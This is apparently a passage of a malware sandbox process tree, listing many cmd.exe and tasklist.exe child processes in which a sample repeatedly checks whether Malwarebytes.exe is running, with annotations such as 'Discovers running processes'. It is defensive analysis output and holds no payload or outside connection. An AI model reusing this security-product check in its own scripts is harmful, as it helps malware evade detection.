    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1744
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:792
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:1988
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3664
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:640
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3416
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1864
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:612
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3784
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5068
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1672
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2028
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1404
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1604
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3012
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2096
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3840
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3888
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2548
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:740
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3784
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:212
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1672
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:852
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2460
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4620
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4556
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3176
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2036
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:364
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:940
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:412
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3680
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4932
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3420
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3620
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1032
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5104
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4440
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4744
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4432
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1672
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4668
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3868
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2484
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4564
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4556
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1032
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3840
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1580
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4384
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2860
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1984
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2284
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1648
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2460
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4164
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:3952
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4128
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1172
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2548
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3680
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1960
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4336
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1648
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:640
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:1844
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3872
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2936
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4220
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4024
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3432
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4908
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2036
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:5056
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3196
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4848
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4128
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1356
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1224
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1660
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1048
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4164
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1612
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4384
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1348
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:624
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2852
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1844
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2864
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3784
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2436
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4440
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:1988
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5056
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1880
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2484
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3784
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1984
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4384
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2936
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4164
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2548
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4440
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3188
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4304
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1920
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4084
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1648
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1356
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2356
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4668
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4804
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3420
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1648
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3188
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1984
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5056
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3012
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2484
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1920
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4112
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4024
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1984
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2548
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1864
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4908
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1744
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1920
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2936
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1900
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2356
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4148
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:4292
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3840
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1404
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:1960
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1660
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1068
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1920
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4148
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4024
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1900
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1960
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4108
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1844
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2888
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5128
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5144
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5188
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:5204
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5244
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5256
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5296
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:5312
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5352
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:5368
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5408
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5420
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5460
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5476
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5516
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5532
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5572
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5588
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5628
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:5644
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:5684
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5700
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5740
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5756
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5796
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5812
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5852
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5868
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5908
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5924
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:5964
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5980
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:6020
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:6036
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:6076
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:6088
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:6128
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4804
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1900
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5176
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5132
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5220
